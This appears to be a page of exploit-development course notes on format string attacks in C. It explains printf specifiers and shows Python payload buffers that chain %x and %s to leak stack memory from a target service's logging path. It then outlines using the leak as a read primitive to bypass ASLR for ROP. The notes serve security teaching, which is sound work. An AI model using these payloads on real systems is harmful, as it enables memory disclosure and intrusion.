Format String Attacks
Format String Specifier Attack Notes - Mod 0x0b
Common C++ format functions include:
printf, sprintf, vsnprintf
Lisiting 616:
Type - Argument - Output format
x Integer Unsigned hexadecimal integer
i Integer Unsigned decimal integer
e Floating-point Signed value that has the form [ - ]d.dddd e [sign]dd
s String Specifies a character string up to the first null character
n Pointer Number of characters that are successfully written so far
If a function such as printf is called with more string specifiiers than arguements arbitrary memory will be returned:
printf("Input: 0x%x, 0x%x, 0x%x", 65, 66)
Will result in an arbitrary memory value being returned for the final %x specifier:
Input: 0x65, 0x66, 0x2e1022
In some cases if one format string is called which edits the format string used by another format string function this situation can be engineered:
Before _ml_vsnprintf:
"This is my string: %s"
By providing the string "%x%x%x%x":
After _ml_vsnprintf:
"This is my string: %x%x%x%x"
Any other format functions utilizing this string will now be subject to the above vulnerability.
Assuming this format string can be retrieved, in the example via a function which allowed logs to be read remotely, this vulnerability can be utilized to create a read primitive.
Creating a read primitive:
The %s specifier reads in a pointer to a charecter array, derefrences it and prints the data found.
If any data leaked is controllable, such as at the beggining or end of the edited format string, IE:
# psCommandBuffer
buf += b"w00t:" + b"%x:" * 0x80
buf += b"B" * 0x100
buf += b"C" * 0x100
Resulting in a vulnerable format string which is later processed:
"AGI_S_GetAgentSignature: couldn'"
"t find agent w00t:%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%"
"x%x%.."
Resulting in leaked memory printing to the log:
w00t:c4:d93ded4:3a:25:12e:78:0:5f494741:65475f53:65674174:6953746e:74616e67:3a657275:7
56f6320:276e646c:69662074:6120646e:746e6567:30307720:78253a74:3a78253a:253a7825
Notably the output includes the "w00t:" (773030743a) string as well as some ":%x" (3a2578) specifiers printing in hex, implying we have controllable data which is processed on our stack.
Replacing the %x specifiers which print the controllable data with a %s specifier and adding a leaked pointer will allow us to retrieve an address in the target module.
# psCommandBuffer
buf += b"w00t:BBAAAA" + b"%x:" * 20
buf += b"%s"
buf += b"%x" * 0x6b
buf += b"B" * 0x100
buf += b"C" * 0x100
Results in an access violation at 0x41414141
Leveraging a read primitive to bypass ASLR:
After taking advantage of a format string vulnerability a stack address on the current stack should be leakable.
Utilizing an input() right before closing the connecection in our python script we can inspect the stack for useful pointers.
Search for pointers which are a consistent offset from the leaked address across multiple restarts which point to consistent locations in a target module which can be leveraged for ROP.
Last updated
Was this helpful?